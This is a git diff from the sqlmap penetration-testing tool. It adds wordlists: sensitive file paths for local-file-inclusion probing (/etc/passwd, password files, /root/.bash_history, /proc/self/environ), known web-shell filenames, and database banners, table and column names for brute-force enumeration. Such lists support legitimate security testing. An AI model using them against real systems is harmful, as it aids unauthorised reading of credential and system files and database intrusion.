+/usr/ports/ftp/pure-ftpd/pureftpd.passwd +/usr/ports/ftp/pure-ftpd/pureftpd.pdb +/usr/ports/net/pure-ftpd/pure-ftpd.conf +/usr/ports/net/pure-ftpd/pureftpd.passwd +/usr/ports/net/pure-ftpd/pureftpd.pdb +/usr/sbin/mudlogd +/usr/sbin/mudpasswd +/usr/sbin/pure-config.pl +/usr/share/adduser/adduser.conf +/usr/share/logs/catalina.err +/usr/share/logs/catalina.out +/usr/share/squirrelmail/config/config.php +/usr/share/squirrelmail/plugins/squirrel_logger/setup.php +/usr/share/tomcat/logs/catalina.err +/usr/share/tomcat/logs/catalina.out +/usr/share/tomcat6/conf/context.xml +/usr/share/tomcat6/conf/logging.properties +/usr/share/tomcat6/conf/server.xml +/usr/share/tomcat6/conf/workers.properties +/usr/share/tomcat6/logs/catalina.err +/usr/share/tomcat6/logs/catalina.out +/usr/spool/lp/log +/usr/spool/mqueue/syslog +/var/adm/acct/sum/loginlog +/var/adm/aculog +/var/adm/aculogs +/var/adm/crash/unix +/var/adm/crash/vmcore +/var/adm/cron/log +/var/adm/dtmp +/var/adm/lastlog/username +/var/adm/log/asppp.log +/var/adm/log/xferlog +/var/adm/loginlog +/var/adm/lp/lpd-errs +/var/adm/messages +/var/adm/pacct +/var/adm/qacct +/var/adm/ras/bootlog +/var/adm/ras/errlog +/var/adm/sulog +/var/adm/syslog +/var/adm/utmp +/var/adm/utmpx +/var/adm/vold.log +/var/adm/wtmp +/var/adm/wtmpx +/var/adm/x0msgs +/var/apache/conf/httpd.conf +/var/cpanel/cpanel.config +/var/cpanel/tomcat.options +/var/cron/log +/var/data/mysql-bin.index +/var/lib/mysql/my.cnf +/var/lib/pgsql/data/postgresql.conf +/var/lib/squirrelmail/prefs/squirrelmail.log +/var/lighttpd.log +/var/local/www/conf/php.ini +/var/log/access.log +/var/log/access_log +/var/log/apache/access.log +/var/log/apache/access_log +/var/log/apache/error.log +/var/log/apache/error_log +/var/log/apache2/access.log +/var/log/apache2/access_log +/var/log/apache2/error.log +/var/log/apache2/error_log +/var/log/apache2/squirrelmail.err.log +/var/log/apache2/squirrelmail.log +/var/log/auth.log +/var/log/auth.log +/var/log/authlog +/var/log/boot.log +/var/log/cron/var/log/postgres.log +/var/log/daemon.log +/var/log/daemon.log.1 +/var/log/data/mysql-bin.index +/var/log/error.log +/var/log/error_log +/var/log/exim/mainlog +/var/log/exim/paniclog +/var/log/exim/rejectlog +/var/log/exim_mainlog +/var/log/exim_paniclog +/var/log/exim_rejectlog +/var/log/ftp-proxy +/var/log/ftp-proxy/ftp-proxy.log +/var/log/ftplog +/var/log/httpd/access.log +/var/log/httpd/access_log +/var/log/httpd/error.log +/var/log/httpd/error_log +/var/log/ipfw +/var/log/ipfw.log +/var/log/ipfw.today +/var/log/ipfw/ipfw.log +/var/log/kern.log +/var/log/kern.log.1 +/var/log/lighttpd.access.log +/var/log/lighttpd.error.log +/var/log/lighttpd/access.log +/var/log/lighttpd/access.www.log +/var/log/lighttpd/error.log +/var/log/lighttpd/error.www.log +/var/log/log.smb +/var/log/mail.err +/var/log/mail.info +/var/log/mail.log +/var/log/mail.log +/var/log/mail.warn +/var/log/maillog +/var/log/messages +/var/log/messages.1 +/var/log/muddleftpd +/var/log/muddleftpd.conf +/var/log/mysql-bin.index +/var/log/mysql.err +/var/log/mysql.log +/var/log/mysql/data/mysql-bin.index +/var/log/mysql/mysql-bin.index +/var/log/mysql/mysql-bin.log +/var/log/mysql/mysql-slow.log +/var/log/mysql/mysql.log +/var/log/mysqlderror.log +/var/log/news.all +/var/log/news/news.all +/var/log/news/news.crit +/var/log/news/news.err +/var/log/news/news.notice +/var/log/news/suck.err +/var/log/news/suck.notice +/var/log/nginx.access_log +/var/log/nginx.error_log +/var/log/nginx/access.log +/var/log/nginx/access_log +/var/log/nginx/error.log +/var/log/nginx/error_log +/var/log/pgsql/pgsql.log +/var/log/pgsql8.log +/var/log/pgsql_log +/var/log/pm-powersave.log +/var/log/poplog +/var/log/postgres/pg_backup.log +/var/log/postgres/postgres.log +/var/log/postgresql.log +/var/log/postgresql/main.log +/var/log/postgresql/postgres.log +/var/log/postgresql/postgresql-8.1-main.log +/var/log/postgresql/postgresql-8.3-main.log +/var/log/postgresql/postgresql-8.4-main.log +/var/log/postgresql/postgresql-9.0-main.log +/var/log/postgresql/postgresql-9.1-main.log +/var/log/postgresql/postgresql.log +/var/log/proftpd +/var/log/proftpd.access_log +/var/log/proftpd.xferlog +/var/log/proftpd/xferlog.legacy +/var/log/pure-ftpd/pure-ftpd.log +/var/log/pureftpd.log +/var/log/samba.log +/var/log/samba.log1 +/var/log/samba.log2 +/var/log/samba/log.nmbd +/var/log/samba/log.smbd +/var/log/squirrelmail.log +/var/log/sso/sso.log +/var/log/sw-cp-server/error_log +/var/log/syslog +/var/log/syslog.1 +/var/log/thttpd_log +/var/log/tomcat6/catalina.out +/var/log/ufw.log +/var/log/user.log +/var/log/user.log.1 +/var/log/vmware/hostd-1.log +/var/log/vmware/hostd.log +/var/log/vsftpd.log +/var/log/webmin/miniserv.log +/var/log/xferlog +/var/log/xorg.0.log +/var/logs/access.log +/var/lp/logs/lpnet +/var/lp/logs/lpsched +/var/lp/logs/requests +/var/mysql-bin.index +/var/mysql.log +/var/nm2/postgresql.conf +/var/postgresql/db/postgresql.conf +/var/postgresql/log/postgresql.log +/var/saf/_log +/var/saf/port/log +/var/www/.lighttpdpassword +/var/www/conf +/var/www/conf/httpd.conf +/var/www/html/squirrelmail-1.2.9/config/config.php +/var/www/html/squirrelmail/config/config.php +/var/www/logs/access.log +/var/www/logs/access_log +/var/www/logs/error.log +/var/www/logs/error_log +/var/www/squirrelmail/config/config.php +/volumes/macintosh_hd1/opt/apache/conf/httpd.conf +/volumes/macintosh_hd1/opt/apache2/conf/httpd.conf +/volumes/macintosh_hd1/opt/httpd/conf/httpd.conf +/volumes/macintosh_hd1/usr/local/php/httpd.conf.php +/volumes/macintosh_hd1/usr/local/php/lib/php.ini +/volumes/macintosh_hd1/usr/local/php4/httpd.conf.php +/volumes/macintosh_hd1/usr/local/php5/httpd.conf.php +/volumes/webbackup/opt/apache2/conf/httpd.conf +/volumes/webbackup/private/etc/httpd/httpd.conf +/volumes/webbackup/private/etc/httpd/httpd.conf.default +/wamp/bin/apache/apache2.2.21/conf/httpd.conf +/wamp/bin/apache/apache2.2.21/logs/access.log +/wamp/bin/apache/apache2.2.21/logs/error.log +/wamp/bin/apache/apache2.2.21/wampserver.conf +/wamp/bin/apache/apache2.2.22/conf/httpd.conf +/wamp/bin/apache/apache2.2.22/conf/wampserver.conf +/wamp/bin/apache/apache2.2.22/logs/access.log +/wamp/bin/apache/apache2.2.22/logs/error.log +/wamp/bin/apache/apache2.2.22/wampserver.conf +/wamp/bin/mysql/mysql5.5.16/data/mysql-bin.index +/wamp/bin/mysql/mysql5.5.16/my.ini +/wamp/bin/mysql/mysql5.5.16/wampserver.conf +/wamp/bin/mysql/mysql5.5.24/data/mysql-bin.index +/wamp/bin/mysql/mysql5.5.24/my.ini +/wamp/bin/mysql/mysql5.5.24/wampserver.conf +/wamp/bin/php/php5.3.8/php.ini +/wamp/bin/php/php5.4.3/php.ini +/wamp/logs/access.log +/wamp/logs/apache_error.log +/wamp/logs/genquery.log +/wamp/logs/mysql.log +/wamp/logs/slowquery.log +/web/conf/php.ini +/windows/comsetup.log +/windows/debug/netsetup.log +/windows/odbc.ini +/windows/php.ini +/windows/repair/setup.log +/windows/setupact.log +/windows/setupapi.log +/windows/setuperr.log +/windows/win.ini +/windows/system32/drivers/etc/hosts +/windows/system32/drivers/etc/lmhosts.sam +/windows/system32/drivers/etc/networks +/windows/system32/drivers/etc/protocol +/windows/system32/drivers/etc/services +/windows/system32/logfiles/firewall/pfirewall.log +/windows/system32/logfiles/firewall/pfirewall.log.old +/windows/system32/logfiles/msftpsvc +/windows/system32/logfiles/msftpsvc1 +/windows/system32/logfiles/msftpsvc2 +/windows/system32/logfiles/smtpsvc +/windows/system32/logfiles/smtpsvc1 +/windows/system32/logfiles/smtpsvc2 +/windows/system32/logfiles/smtpsvc3 +/windows/system32/logfiles/smtpsvc4 +/windows/system32/logfiles/smtpsvc5 +/windows/system32/logfiles/w3svc/inetsvn1.log +/windows/system32/logfiles/w3svc1/inetsvn1.log +/windows/system32/logfiles/w3svc2/inetsvn1.log +/windows/system32/logfiles/w3svc3/inetsvn1.log +/windows/system32/macromed/flash/flashinstall.log +/windows/system32/macromed/flash/install.log +/windows/updspapi.log +/windows/windowsupdate.log +/windows/wmsetup.log +/winnt/php.ini +/winnt/system32/logfiles/firewall/pfirewall.log +/winnt/system32/logfiles/firewall/pfirewall.log.old +/winnt/system32/logfiles/msftpsvc +/winnt/system32/logfiles/msftpsvc1 +/winnt/system32/logfiles/msftpsvc2 +/winnt/system32/logfiles/smtpsvc +/winnt/system32/logfiles/smtpsvc1 +/winnt/system32/logfiles/smtpsvc2 +/winnt/system32/logfiles/smtpsvc3 +/winnt/system32/logfiles/smtpsvc4 +/winnt/system32/logfiles/smtpsvc5 +/winnt/system32/logfiles/w3svc/inetsvn1.log +/winnt/system32/logfiles/w3svc1/inetsvn1.log +/winnt/system32/logfiles/w3svc2/inetsvn1.log +/winnt/system32/logfiles/w3svc3/inetsvn1.log +/www/apache/conf/httpd.conf +/www/conf/httpd.conf +/www/logs/freebsddiary-access_log +/www/logs/freebsddiary-error.log +/www/logs/proftpd.system.log +/xampp/apache/bin/php.ini +/xampp/apache/conf/httpd.conf +/xampp/apache/logs/access.log +/xampp/apache/logs/error.log +/xampp/filezillaftp/filezilla server.xml +/xampp/htdocs/aca.txt +/xampp/htdocs/admin.php +/xampp/htdocs/leer.txt +/xampp/mercurymail/mercury.ini +/xampp/mysql/data/mysql-bin.index +/xampp/mysql/data/mysql.err +/xampp/php/php.ini +/xampp/phpmyadmin/config.inc.php +/xampp/sendmail/sendmail.ini +/xampp/sendmail/sendmail.log +/xampp/webalizer/webalizer.conf +\autoexec.bat +\boot.ini +\inetpub\wwwroot\web.config +\web.config +\windows\system32\drivers\etc\hosts +\windows\win.ini + +# Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt + +/etc/apache2/.htpasswd +/etc/apache/.htpasswd +/etc/master.passwd +/etc/muddleftpd/muddleftpd.passwd +/etc/muddleftpd/passwd +/etc/passwd +/etc/passwd~ +/etc/passwd- +/etc/pureftpd.passwd +/etc/samba/private/smbpasswd +/etc/samba/smbpasswd +/etc/security/opasswd +/etc/security/passwd +/etc/smbpasswd +\Program Files\xampp\apache\conf\httpd.conf +/usr/local/pgsql/bin/pg_passwd +/usr/local/pgsql/data/passwd +/usr/pkgsrc/net/pureftpd/pureftpd.passwd +/usr/ports/contrib/pure-ftpd/pureftpd.passwd +/usr/ports/ftp/pure-ftpd/pureftpd.passwd +/usr/ports/net/pure-ftpd/pureftpd.passwd +/var/log/exim_rejectlog/etc/passwd +/etc/mysql/conf.d/old_passwords.cnf +/etc/password.master +/var/www/.lighttpdpassword +/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf +/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf +/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf +/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php +/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php +/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php +/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini +/Volumes/webBackup/opt/apache2/conf/httpd.conf +/Volumes/webBackup/private/etc/httpd/httpd.conf +/Volumes/webBackup/private/etc/httpd/httpd.conf.default + +# Reference: https://pastebin.com/KgPsDXjg + +/etc/passwd +/etc/crontab +/etc/hosts +/etc/my.cnf +/etc/.htpasswd +/root/.bash_history +/etc/named.conf +/proc/self/environ +/etc/php.ini +/bin/php.ini +/etc/httpd/php.ini +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/local/etc/php.ini +/usr/local/lib/php.ini +/usr/local/php/lib/php.ini +/usr/local/php4/lib/php.ini +/usr/local/php5/lib/php.ini +/usr/local/apache/conf/php.ini +/etc/php4.4/fcgi/php.ini +/etc/php4/apache/php.ini +/etc/php4/apache2/php.ini +/etc/php5/apache/php.ini +/etc/php5/apache2/php.ini +/etc/php/7.4/apache2/php.ini +/etc/php/php.ini +/usr/local/apache/conf/modsec.conf +/var/cpanel/cpanel.config +/proc/self/environ +/proc/self/fd/2 +/etc/ssh/sshd_config +/var/lib/mysql/my.cnf +/etc/mysql/my.cnf +/etc/my.cnf +/etc/logrotate.d/proftpd +/www/logs/proftpd.system.log +/var/log/proftpd +/etc/proftp.conf +/etc/protpd/proftpd.conf +/etc/vhcs2/proftpd/proftpd.conf +/etc/proftpd/modules.conf +/etc/vsftpd.chroot_list +/etc/vsftpd/vsftpd.conf +/etc/vsftpd.conf +/etc/chrootUsers +/etc/wu-ftpd/ftpaccess +/etc/wu-ftpd/ftphosts +/etc/wu-ftpd/ftpusers +/usr/sbin/pure-config.pl +/usr/etc/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.conf +/usr/local/etc/pure-ftpd.conf +/usr/local/etc/pureftpd.pdb +/usr/local/pureftpd/etc/pureftpd.pdb +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/pureftpd/etc/pure-ftpd.conf +/etc/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.pdb +/etc/pureftpd.pdb +/etc/pureftpd.passwd +/etc/pure-ftpd/pureftpd.pdb +/var/log/ftp-proxy +/etc/logrotate.d/ftp +/etc/ftpchroot +/etc/ftphosts +/etc/smbpasswd +/etc/smb.conf +/etc/samba/smb.conf +/etc/samba/samba.conf +/etc/samba/smb.conf.user +/etc/samba/smbpasswd +/etc/samba/smbusers +/var/lib/pgsql/data/postgresql.conf +/var/postgresql/db/postgresql.conf +/etc/ipfw.conf +/etc/firewall.rules +/etc/ipfw.rules +/usr/local/etc/webmin/miniserv.conf +/etc/webmin/miniserv.conf +/usr/local/etc/webmin/miniserv.users +/etc/webmin/miniserv.users +/etc/squirrelmail/config/config.php +/etc/squirrelmail/config.php +/etc/httpd/conf.d/squirrelmail.conf +/usr/share/squirrelmail/config/config.php +/private/etc/squirrelmail/config/config.php +/srv/www/htdos/squirrelmail/config/config.php + +# Web shells + +/var/www/html/backdoor.php +/var/www/html/b374k.php +/var/www/html/c99.php +/var/www/html/cmd.php +/var/www/html/r57.php +/var/www/html/shell.php +/var/www/html/wso.php + +# Misc + +/app/app.js +/app/configure.js +/app/config/config.json +/etc/grafana/grafana.ini +/opt/kibana/config/kibana.yml +/etc/kibana/kibana.yml +/etc/elasticsearch/elasticsearch.yml diff --git a/txt/common-outputs.txt b/data/txt/common-outputs.txt similarity index 84% rename from txt/common-outputs.txt rename to data/txt/common-outputs.txt index bf0b6e8d703..bd5061b8bf7 100644 --- a/txt/common-outputs.txt +++ b/data/txt/common-outputs.txt @@ -1,5 +1,5 @@ -# Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission [Banners] @@ -11,32 +11,84 @@ 5.0. 5.1. 5.5. +5.6. +5.7. 6.0. +8.0. +8.1. +8.2. +8.3. +8.4. +9.0. +9.1. +9.2. +9.3. # PostgreSQL +PostgreSQL 7.0 +PostgreSQL 7.1 +PostgreSQL 7.2 PostgreSQL 7.3 PostgreSQL 7.4 +PostgreSQL 8.0 PostgreSQL 8.1 PostgreSQL 8.2 PostgreSQL 8.3 PostgreSQL 8.4 +PostgreSQL 8.5 +PostgreSQL 9.0 +PostgreSQL 9.1 +PostgreSQL 9.2 +PostgreSQL 9.3 +PostgreSQL 9.4 +PostgreSQL 9.5 +PostgreSQL 9.6 +PostgreSQL 10. +PostgreSQL 11. +PostgreSQL 12. +PostgreSQL 13. +PostgreSQL 14. +PostgreSQL 15. +PostgreSQL 16. +PostgreSQL 17. # Oracle Oracle Database 9i Standard Edition Release +Oracle Database 9i Standard Edition Release 9. Oracle Database 9i Express Edition Release +Oracle Database 9i Express Edition Release 9. Oracle Database 9i Enterprise Edition Release +Oracle Database 9i Enterprise Edition Release 9. Oracle Database 10g Standard Edition Release +Oracle Database 10g Standard Edition Release 10. Oracle Database 10g Express Edition Release Oracle Database 10g Enterprise Edition Release +Oracle Database 10g Enterprise Edition Release 10. Oracle Database 11g Standard Edition Release +Oracle Database 11g Standard Edition Release 11. Oracle Database 11g Express Edition Release +Oracle Database 11g Express Edition Release 11. Oracle Database 11g Enterprise Edition Release +Oracle Database 11g Enterprise Edition Release 11. +Oracle Database 12c +Oracle Database 18c +Oracle Database 19c +Oracle Database 21c +Oracle Database 23ai +Oracle Database 26ai # Microsoft SQL Server Microsoft SQL Server 7.0 Microsoft SQL Server 2000 Microsoft SQL Server 2005 Microsoft SQL Server 2008 +Microsoft SQL Server 2012 +Microsoft SQL Server 2014 +Microsoft SQL Server 2016 +Microsoft SQL Server 2017 +Microsoft SQL Server 2019 +Microsoft SQL Server 2022 +Microsoft SQL Server 2025 [Users] @@ -366,6 +418,7 @@ XDBWEBSERVICES # MySQL information_schema +performance_schema mysql phpmyadmin @@ -386,6 +439,10 @@ ReportServer ReportServerTempDB tempdb +# Cloud Defaults +rdsadmin +innodb +azure_maintenance [Tables] @@ -454,6 +511,44 @@ pma_relation pma_table_coords pma_table_info +# Wordpress +wp_users +wp_posts +wp_comments +wp_options +wp_postmeta +wp_terms +wp_term_taxonomy +wp_term_relationships +wp_links +wp_commentmeta + +# WooCommerce +wp_woocommerce_sessions +wp_woocommerce_api_keys +wp_woocommerce_attribute_taxonomies + +# Magento +catalog_product_entity +sales_order +sales_order_item +customer_entity +quote + +# Drupal +node +users +field_data_body +field_revision_body +taxonomy_term_data +taxonomy_vocabulary + +# Joomla +joomla_users +joomla_content +joomla_categories +joomla_modules + # PostgreSQL pg_aggregate pg_am @@ -467,6 +562,8 @@ pg_cast pg_class pg_constraint pg_conversion +pg_cron_job +pg_cron_job_run_detail pg_database pg_depend pg_description @@ -488,6 +585,7 @@ pg_rewrite pg_shdepend pg_shdescription pg_statistic +pg_stat_statements pg_tablespace pg_trigger pg_ts_config @@ -1020,6 +1118,29 @@ vVendor WorkOrder WorkOrderRouting +# Common tables + +accounts +admin +audit +backup +config +configuration +customers +data +files +history +images +log +logs +members +messages +orders +products +settings +test +tokens +uploads [Columns] @@ -1064,3 +1185,148 @@ Update_priv User x509_issuer x509_subject + +# Oracle (types) +BINARY_INTEGER +BLOB +BOOLEAN +CHAR +CLOB +DATE +INTERVAL +LONG +MLSLABEL +NCHAR +NCLOB +NUMBER +NVARCHAR2 +RAW +ROWID +TIMESTAMP +VARCHAR +VARCHAR2 +XMLType + +# MySQL (types) +bigint +blob +char +date +datetime +decimal +double +enum +float +int +set +smallint +text +time +tinyint +varchar +year + +# Microsoft SQL Server (types) +bigint +binary +bit +char +cursor +date +datetime +datetime2 +datetimeoffset +decimal +float +image +int +money +nchar +ntext +numeric +nvarchar +real +smalldatetime +smallint +smallmoney +sql_variant +table +text +time +timestamp +tinyint +uniqueidentifier +varbinary +varchar +xml + +# PostgreSQL (types) +bigint +bigserial +boolean +bpchar +bytea +character +date +decimal +double precision +int4 +integer +interval +money +numeric +real +serial +smallint +text +time +timestamp + +# Common columns +active +address +admin +blocked +category_id +city +confirmed +country +created_at +created_on +customer_id +deleted +deleted_at +dob +email +enabled +first_name +flag +gender +hidden +is_active +is_deleted +is_published +last_name +locked +login +modified_on +name +order_id +password +phone +private +product_id +public +role +salt +state +status +timestamp +token +type +updated_at +user_id +username +visible +zip +zip_code diff --git a/txt/common-tables.txt b/data/txt/common-tables.txt similarity index 75% rename from txt/common-tables.txt rename to data/txt/common-tables.txt index e4fd4e2000b..855593c6af3 100644 --- a/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -1,3368 +1,3422 @@ -# Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -# See the file 'doc/COPYING' for copying permission - -users -customer -user -orders -employee -x_world -category -project -account -customers -country -config -groups -inventory -department -categories -messages -person -comments -sessions -student -items -employees -language -accounts -product -CUSTOMER -faculty -location -item -authors -parts -members -countries -status -menu -dependent -modules -role -products -page -chart -task -posts -DEPT -Person -user_role -ORDERS -emp -album -EMP -log -INVENTORY -payments -part -permission -contact -borrower -report -color -admin -SALGRADE -PRODUCT -vendor -tax -branch -projects -data -course -jobs -watchlist -shipment_line -CATEGORY -categoryNames -attributeCategory -db -PS_DMK -study -event -invoice -order_source -topics -students -order_line -regions -CPG_config -news -dept -permissions -events -shipment -sections -ITEM -hosts -form_definition_version -alias -people -role_permission -applications -CPG_usergroups -image -organization -courses -loan -form_definition -configuration -hibernate_unique_key -order -form_error -payment -Author -history -task_param -movies -dept_locations -track -services -EMPLOYEE -works_on -patient -Student -form_data -setting -PUBLISHER -partsgroup -languages -depositor -CPG_categories -book -Orders -job_history -metadata -exchangerate -shipto -rcpt -team -address -tasks -queue_info -subscribers -city -field_options -locations -statename -BOOK -zuseserver -ap -ar -Employees -USER -userInfo -telephone -session -User -video -LOCATION -tf_links -ACCOUNT -artist -property -the -request -acc_trans -lending -postaladdress -Customers -xmldocument -jiveID -domain -promotion -CPG_filetypes -assembly -business -orderitems -locale -gl -links -located -identities -sizes -companies -payload -Organization -protocol -transfers -encompasses -borders -profiles -salesorder -mailbox -contacts -tables_priv -admin_logs -text -phpbb_config -plugin -stores -host -Book -gifi -user_groups -term -internetaddress -tf_settings -region -poll -makemodel -partstax -catalog -question -vendors -departments -notes -delivery_quality -queries -identification -friends -vcd_Screenshots -PERSON -course_section -vcd_PornCategories -pma_history -jiveRemoteServerConf -channels -object -chip_layout -osc_products_options_values_to_products_options -login -user_newtalk -vcd_MetaDataTypes -entrants -Device -imageInfo -developers -div_experiment -items_template -defaults -osc_products -vcd_MetaData -mucRoomProp -QRTZ_JOB_DETAILS -settings -pma_bookmark -DEPENDENT -imageCategoryList -islandIn -mobile_menu_text -jiveUserProp -osc_products_options_values -wp_posts -package -mucRoom -vendortax -vcd_Comments -attrs -config_seq -company -register -checksum_results -ENROLLMENT -operation -primarytest -vcd_CoverTypes -binaries -COURSE_SECTION -Students -func -enrollment -pma_table_coords -readers -action_element -vcd_VcdToPornstars -osc_categories_description -friend_statuses -Domain -servers -UserFields -revision -meals -resources -mixins -sys_options_cats -licenses -pma_relation -SIGNON -clients -Apply -vcd_CoversAllowedOnMediatypes -ThumbnailKeyword -form_definition_text -vcd_Log -system -jiveOffline -tickers -BANNERDATA -mucAffiliation -fk_test_has_pk -rooms -objectcache -collection_item_count -div_stock_parent -jiveRoster -Volume -lookup -investigator -math -jivePrivate -vcd_UserWishList -osc_manufacturers_info -primarytest2 -PROFILE -categories_posts -Flight -Gallery -scripts -AUTHOR -physician -client -cv_country_synonyms -osc_categories -interwiki -logtest -archive -members_networks -vcd_MovieCategories -language_text -UserType -friend -div_annotation_type -osc_products_description -osc_products_to_categories -QRTZ_PAUSED_TRIGGER_GRPS -article -recentchanges -vcd_UserLoans -media -vcd_SourceSites -conducts -sales -CurrentUsers -Country -vcd_IMDB -vcd_Borrowers -querycache -Publication -Pilot -div_stock -Regions -DEPT_LOCATIONS -vcd_Users -master_table -vcd_VcdToUsers -funny_jokes -jos_vm_payment_method -vcd_UserProperties -osc_products_images -specialty -pma_pdf_pages -visits -div_allele_assay -vcd_MediaTypes -ipblocks -WidgetPrices -form_definition_version_text -experiment -Publisher -control -protocol_action -jivePrivacyList -vcd_VcdToPornStudios -subImageInfo -plugin_sid -message_statuses -state -GalleryThumb -hitcounter -vcd_Pornstars -QRTZ_BLOB_TRIGGERS -div_generation -jiveGroupProp -ingredients -community_item_count -jiveExtComponentConf -SEQUENCE -Continent -rights -div_statistic_type -Path -osc_manufacturers -logging -colnametests -QRTZ_FIRED_TRIGGERS -div_locality -sailors -Description -warehouse -DEPARTMENT -legacy_things -jiveVCard -agent -CPG_bridge -CUSTOMERS -jiveProperty -app_user -keyboards -div_unit_of_measure -categorylinks -grants -Action -div_trait -div_trait_uom -WidgetReferences -product_type -developers_projects -userAttribute -vcd_Sessions -form_data_archive -vcd_PornStudios -action_attribute -Thumbnail -jiveGroupUser -computers -QRTZ_LOCKS -vcd_PropertiesToUser -customertax -sector -networks -columns_priv -globals -div_obs_unit_sample -Widgets -TERM -salgrade -div_passport -vcd_UserRoles -mucMember -imagelinks -exchange -Status -WORKS_ON -lines -booleantests -QRTZ_SIMPLE_TRIGGERS -mobile_menu -staff -vcd_VcdToPornCategories -tblusers -hashes -partner -Product -personnel -ads -vcd_Covers -osc_specials -Keyword -supplier -agent_specialty -pokes -profile_pictures -oldimage -div_poly_type -osc_products_attributes_download -div_allele -isMember -vcd_Images -userImageRating -detail_table -osc_products_attributes -pma_table_info -officer -div_obs_unit -vcd_Settings -COURSE -Time -locatedOn -medicalprocedure -fk_test_has_fk -mergesWith -author -UserFieldsInfo -Employee -oe -QRTZ_TRIGGERS -insurance -SUPPLIER -div_aa_annotation -song -imageAttribute -views_track -extremes -vcd_VcdToSources -jiveRosterGroups -webcal_config -phpbb_ranks -triggers_template -appVersions -vcd_RssFeeds -DUMMY -ROLE -activity -study_text -osc_products_options -City -QRTZ_SCHEDULER_STATE -osc_reviews -edge -questions -partof -blobs -QRTZ_CRON_TRIGGERS -tag -userSession -vcd -pma_column_info -auto_id_tests -job -site_stats -mucConversationLog -sequence -madewith -OperationStatus -SPJ -turizmi_ge -zutat_cocktail -DWE_Internal_WF_Attributes -zipcodes -insertids -ChemList -product_category -foreigntest2 -hero -cmContentVersionDigitalAsset -reports -devel_logsql -f_sequence -MEMBER -ClassificationScheme -ez_webstats_conf -credential -utilise -cmDigitalAsset -ACL_table -service_request_log -feedback -vars -tblblogentriescategories -assignment -CUST_HIST -ew_menu -time_zone_transition_type -child_configs -LIBRARY_BRANCH -Company -Component -webcal_entry_log -transactions -webcal_entry_ext_user -dept_location -ConsultantsTable -phonelist -sys_acl_actions -participate -population -dtb_order -files_config -PropColumnMap -result -pma_designer_coords -triggers -audittrail -f_attributedependencies -organization_type_package_map -DWE_Corr_Sets -userlist -backgroundJob_table -sf_guard_user_permission -my_lake -DWE_Corr_Tokens -sampleData -qrtz_blob_triggers -reciprocal_partnersites -rss_categories -ADMIN -site_map_ge -Factory_Output -geo_Estuary -phpbb_themes -forum -ClientsTable -mushroom_trainset -rating_track -iplinks -maxcodevento -reciprocal_admin -ew_moduli -CheckType -cmLanguage -phpbb_points_config -guava_sysmodules -querycachetwo -soc_da_polit_ge -BOOK_AUTHORS -records -reciprocal_config -newsletter_queue -passwds -phpbb_posts_text -biosample -connectorassocs -BOOK_COPIES -jos_sections -vote -SCRIPT -THOT_CATEGORY -artifact -object_types -pages -usuario -CE_table -phpbb_forums -tbl_country -Products -dtb_bat_order_daily -site_wtype -geo_mountain -expression -Simple_Response -photoo -photos -child_config_traffic_selector -version_data -allocation -dtb_category_total_count -habilidad -PREFIX_group_lang -work_orders -SELLER -cv_soil -taxon -bkp_ItemResource -ezcontentobject_trash -webcal_view -pagecontent -Collection -maxcodcurso -self_government_ge -phpbb_user_group -InstanceStringTable -bldg_types -t1 -mailaddresses -section -m_type -configlist -cmRepositoryContentTypeDefinition -trade -Parameter -jforum_privmsgs -tbl_works_categories -help_category -bkp_String -Class_Display_Sequence -EPIXEIRISI -sounds -phpbb_groups -dtb_campaign -produit -adblocks -vendor_seq -guava_theme_modules -dtb_pagelayout -bookings -cmPublicationDetail -writes -writer -distance -DWE_Resource_Attributes -jforum_groups -Polynomial -river -GROUP -sea -IDIOTIS -cmPublication -last -UsageParameter -phpbb_topics -t_peep -PREFIX_group -dtb_delivfee -equipment_type_seq -wp_users -news_category -SchemaInfo -WidgetDescriptions -dtb_category_count -sidebar -R1Weights -humanitaruli_ge -cmTransactionHistory -facets -jforum_roles -samedicino_ge -qrtz_job_listeners -geo_Lake -religion -nuke_gallery_media_class -cia -DatabaseInfo -R2TF -THOT_THEME -R1Length -cmContentRelation -S2ODTMAP -enrolled -liste_domaines -DEMO_PROJECTS -ORDERSTATUS -site_iwis -MountainOnIsland -bkp_ItemReference -Category -Mountain -INSTITUTE -POINT -forum_vote -THOT_TYPE -cmts_track -bkp_ItemReplication -hostbenchmarks -filearchive -f_spatialcontext -UM_ROLE_ATTRIBUTES -SCALE -maclinks -books -DWE_Predecessors -interactions -graphs_items -stars -BID -enrolls -site_environment -user_types -Severity -partscustomer -wp_pod_types -River -marital_status -PZ -PN -email -CustomerCards -mtb_zip -Campus -R1Size -hardware -dtb_other_deliv -pricegroup -commissionEmployees -cv_pests_diseases -tbl_tech -macswitches -cc_config -audit -colour -command -audio -egresado -aggtest -transport -zusti_da_sabuneb_ge -div_scoring_tech_type -R2Weights -schedule -routers -zips -DWE_Delay_Timers -Descriptions -software -wh_der_children -delivery -placex -cv_crops -problem -Station_Data -account_transaction -time_zone_name -numedia -THOT_DEEP -ZENTRACK_VARFIELD_IDX -roads_endpoints -Propdesc_table -general_log -peer_configs -hot_prop -phones -ServiceBinding -emailinfo -dtb_member -cmSiteNode -nodes -sbreciprocal_cats -rss_read -DWE_Workflow_Documents -bombing -tblblogtrackbacks -fragment -dtb_review -tblblogsearchstats -datasources -CPG_users -vrls_partners -guava_roles -webcal_user_layers -ANSWER_GROUP_DETAIL -tbl_clients -dtb_kiyaku -EmailAddress -Sea -powers -QRTZ_CALENDARS -reserve -LINEITEM -project_user_xref -Agent -idioma -dtb_campaign_detail -jos_components -user_rights -tf_messages -Class_Def_Table 